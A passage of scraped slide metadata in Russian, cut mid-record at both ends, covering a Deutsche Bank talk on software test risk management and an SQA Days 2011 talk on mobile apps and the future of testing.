"description": "Что такое риск? Риск – это вероятное событие или условие, которое в случае возникновения имеет позитивный или негативный эффект на одно или более свойств проекта – время, стоимость, объем, качество (на способность поставить продукт вовремя, в рамках бюджета, с заданной функциональностью, с заданным качеством) Риск может иметь одну или несколько причин и, в случае возникновения, одно или несколько последствий"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img2.jpg",
"description": "Что можно варьировать в проекте?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img3.jpg",
"description": "На что обычно могут влиять тестировщики?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img4.jpg",
"description": "Что у тестировщиков чаще всего спрашивают? Мы успеваем закончить тестирование вовремя? Что можно не протестировать, чтобы успеть вовремя? Какие последствия будут у неполного тестированя? Насколько безопасно ставить этот релиз в эксплуатацию? Для того, чтобы ответить на эти вопросы, нам нужно уметь предсказывать, оценивать, описывать текущую ситуацию и обсуждать ее со всеми участниками проекта. Или – нам необходимо управлять рисками тестирования."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img5.jpg",
"description": "Как тестировщики доносят информацию? Первое утверждение Нам нужно 70 часов чтобы протестировать эту функциональность. На самом деле нам надо 40 часов, но мы делаем запас – ведь может произойти что угодно…"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img6.jpg",
"description": "Как это стоит делать, чтобы нас понимали? Второе утверждение Нам нужно 40 часов для тестирования. Но существуют следующие риски: Тестовая среда нестабильная. Весьма вероятно, что тестовая среда будет недоступна в течение 20 часов. Давайте учтем это время. Функциональность Х плохо задокументирована. Скорее всего понадобится дополнительный раунд тестирования после уточнения всех деталей. Давайте задокументируем ее сейчас или заложим 10 дополнительных часов на тестирование. Уважаемый ПМ, эти риски можно принять, или выделить время для их смягчения."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img7.jpg",
"description": "Почему важно управлять рисками? Основные плюсы для руководителя группы тестирования Прозрачные и весомые аргументы при эскалациях Стандартные подходы и методы для корректирующих и упреждающих действий Основные плюсы для руководителя проекта Получение информации обо всех факторах, влияющих на поставку продукта Прозрачная информация о состоянии релиза Возможность устранить риск до того как он превратился в проблему"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img8.jpg",
"description": "Из чего обычно состоит управление рисками? Планирование рисков Идентификация рисков Качественный анализ рисков Количественный анализ рисков Планирование противодействия рискам Мониторинг и контроль рисков"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img9.jpg",
"description": "Качественный и количественный анализ рисков в реальной жизни Экспертные оценки – качественный анализ Хороши на начальных этапах Легко подстраиваются Простой метод Не очень точный метод Вероятностные методы – количественный анализ Сложные расчеты Требуют подстройки Неочевидность результата Подобие какой-то точности результата"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img10.jpg",
"description": "Качественная оценка Ожидаемая величина риска по PMBoK Шкалы пересчета рисков Карты рисков"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img11.jpg",
"description": "Количественная оценка: треугольное распределение"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img12.jpg",
"description": "Количественная оценка: совокупный риск"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img13.jpg",
"description": "Что мы делаем для управления рисками? Общий репозиторий рисков в JIRA Отбор специфических проектных рисков перед каждым релизом Ежедневный мониторинг состояния рисков Простые правила расчета совокупного риска процесса тестирования и риска релиза Ежедневные отчеты лицам, принимающим решения"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img14.jpg",
"description": "Основные параметры риска Влияние риска Низкое < 8 часов Среднее 8-24 часа Высокое > 24 часа RAG-статус риска"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img15.jpg",
"description": "Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img16.jpg",
"description": "Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img17.jpg",
"description": "Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img18.jpg",
"description": "Совокупный риск процесса тестирования Оценивается на ежедневной основе Считаем общее время на устранение всех RED рисков RED > 20% от общей трудоемкости проекта Amber 10-20% от общей трудоемкости проекта Green < 10% от общей трудоемкости проекта Что оцениваем – насколько сдвинется финальная дата тестирования при сохранении того же качества"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img19.jpg",
"description": "Риски релиза - опросник Разработка продолжалась после заморозки кода Несколько тестировщиков работали над одной функциональностью, дублируя усилия Отсутствует документация Были значительные изменения в коде Нехватка ресурсов Большое количество найденных ошибок Частое переключение тестировщиков между задачами Неконтролируемое увеличение объема работ Нестабильные требования Нестабильная тестовая среда"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img20.jpg",
"description": "Совокупный риск релиза Оценивается перед выдачей релиза из тестирования Считаем количество негативных ответов в опроснике RED > 20% от общего количества вопросов Amber 10-20% от общего количества вопросов Green < 10% от общего количества вопросов Что оцениваем – насколько высоки риски релиза при постановке его в эксплуатацию"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img21.jpg",
"description": "Совокупные риски тестирования и релиза: оценка времени и качества"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img22.jpg",
"description": "Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank"
}
] |
https://mypresentation.ru/presentation/99605 | ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img0.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img1.jpg",
"description": "Доброе утро!"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img2.jpg",
"description": "Меня зовут"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img3.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img4.jpg",
"description": "Ура!"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img5.jpg",
"description": "Это QR-код"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img6.jpg",
"description": "Камерофоночитаемое представление информации"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img7.jpg",
"description": "Для тех, кто ещё не"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img8.jpg",
"description": "Тимур"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img9.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img10.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img11.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img12.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img13.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img14.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img15.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img16.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img17.jpg",
"description": "Я"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img18.jpg",
"description": "Никогда уже не буду"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img19.jpg",
"description": "прежним"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img20.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img21.jpg",
"description": "Мир вокруг нас"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img22.jpg",
"description": "изменился"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img23.jpg",
"description": "Когда появился"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img24.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img25.jpg",
"description": "Загадка"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img26.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img27.jpg",
"description": "отгадка"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img28.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img29.jpg",
"description": "ДА, ЭТО МОБИЛЬНИК!"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img30.jpg",
"description": "1994 год"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img31.jpg",
"description": "За 25 лет до…"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img32.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №33"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img33.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №34"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img34.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img35.jpg",
"description": "20 июля 1969 года"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img36.jpg",
"description": "20:17:42 GMT"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img37.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №38"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img38.jpg",
"description": "Через 40 лет…"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img39.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №40"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img40.jpg",
"description": "Вычислительная мощность NASA"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img41.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №42"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img42.jpg",
"description": "За 15 лет"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img43.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №44"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img44.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №45"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img45.jpg",
"description": "Ещё история"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img46.jpg",
"description": "Про рыбалку :-)"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img47.jpg",
"description": "Каждый год"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img48.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №49"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img49.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №50"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img50.jpg",
"description": "с. Гороховка"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img51.jpg",
"description": "Верхнемамонский район Воронежской области"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img52.jpg",
"description": "Позвонить? Ха!"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img53.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №54"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img54.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №55"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img55.jpg",
"description": "Прошлым летом…"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img56.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №57"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img57.jpg",
"description": "3G!"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img58.jpg",
"description": "Стал стоить дёшево"
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img59.jpg",
"description": "Появился анлим"
},
{
"slide_number": "61",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img60.jpg",
"description": "“Market Enablers”"
},
{
"slide_number": "62",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img61.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №62"
},
{
"slide_number": "63",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img62.jpg",
"description": "Рынок приложений!"
},
{
"slide_number": "64",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img63.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №64"
},
{
"slide_number": "65",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img64.jpg",
"description": "2010 год: $2 млрд"
},
{
"slide_number": "66",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img65.jpg",
"description": "2015 год: $11 млрд ТОЛЬКО ИГРЫ!*"
},
{
"slide_number": "67",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img66.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №67"
},
{
"slide_number": "68",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img67.jpg",
"description": "100 миллионов раз!"
},
{
"slide_number": "69",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img68.jpg",
"description": "Рынок смартфонов растёт"
},
{
"slide_number": "70",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img69.jpg",
"description": "2009 год: +41% (в кризис!)"
},
{
"slide_number": "71",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img70.jpg",
"description": "2010 год: +72%"
},
{
"slide_number": "72",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img71.jpg",
"description": "2010 год: планшеты"
},
{
"slide_number": "73",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img72.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №73"
},
{
"slide_number": "74",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img73.jpg",
"description": "2015: $37,5 млрд*"
},
{
"slide_number": "75",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img74.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №75"
},
{
"slide_number": "76",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img75.jpg",
"description": "Наладонники…"
},
{
"slide_number": "77",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img76.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №77"
},
{
"slide_number": "78",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img77.jpg",
"description": "Для всех"
},
{
"slide_number": "79",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img78.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №79"
},
{
"slide_number": "80",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img79.jpg",
"description": "Раньше мы устанавливали программы вот так:"
},
{
"slide_number": "81",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img80.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №81"
},
{
"slide_number": "82",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img81.jpg",
"description": "И вот так:"
},
{
"slide_number": "83",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img82.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №83"
},
{
"slide_number": "84",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img83.jpg",
"description": "Сегодня это делается так:"
},
{
"slide_number": "85",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img84.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №85"
},
{
"slide_number": "86",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img85.jpg",
"description": "Альтернатива?"
},
{
"slide_number": "87",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img86.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №87"
},
{
"slide_number": "88",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img87.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №88"
},
{
"slide_number": "89",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img88.jpg",
"description": "Идея не нова"
},
{
"slide_number": "90",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img89.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №90"
},
{
"slide_number": "91",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img90.jpg",
"description": "2002 год"
},
{
"slide_number": "92",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img91.jpg",
"description": "Для игр"
},
{
"slide_number": "93",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img92.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №93"
},
{
"slide_number": "94",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img93.jpg",
"description": "Для всех!"
},
{
"slide_number": "95",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img94.jpg",
"description": "Низкий порог входа"
},
{
"slide_number": "96",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img95.jpg",
"description": "Для совсем всех"
},
{
"slide_number": "97",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img96.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №97"
},
{
"slide_number": "98",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img97.jpg",
"description": "Да что дети"
},
{
"slide_number": "99",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img98.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №99"
},
{
"slide_number": "100",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img99.jpg",
"description": "Что дальше?"
},
{
"slide_number": "101",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img100.jpg",
"description": "Куда пойдут приложения?"
},
{
"slide_number": "102",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img101.jpg",
"description": "Телевизор?"
},
{
"slide_number": "103",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img102.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №103"
},
{
"slide_number": "104",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img103.jpg",
"description": "Автомобиль?"
},
{
"slide_number": "105",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img104.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №105"
},
{
"slide_number": "106",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img105.jpg",
"description": "Пылесос?"
},
{
"slide_number": "107",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img106.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №107"
},
{
"slide_number": "108",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img107.jpg",
"description": "Холодильник?"
},
{
"slide_number": "109",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img108.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №109"
},
{
"slide_number": "110",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img109.jpg",
"description": "дальше?"
},
{
"slide_number": "111",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img110.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №111"
},
{
"slide_number": "112",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img111.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №112"
},
{
"slide_number": "113",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img112.jpg",
"description": "А что такого?"
},
{
"slide_number": "114",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img113.jpg",
"description": "Sleep Cycle"
},
{
"slide_number": "115",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img114.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №115"
},
{
"slide_number": "116",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img115.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №116"
},
{
"slide_number": "117",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img116.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №117"
},
{
"slide_number": "118",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img117.jpg",
"description": "Очень просто!"
},
{
"slide_number": "119",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img118.jpg",
"description": "Appstore для диванов и вперёд!"
},
{
"slide_number": "120",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img119.jpg",
"description": "(хм, диван от Apple?)"
},
{
"slide_number": "121",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img120.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №121"
},
{
"slide_number": "122",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img121.jpg",
"description": "Ура! У нас есть массовый пользователь!"
},
{
"slide_number": "123",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img122.jpg",
"description": "Неискушённый"
},
{
"slide_number": "124",
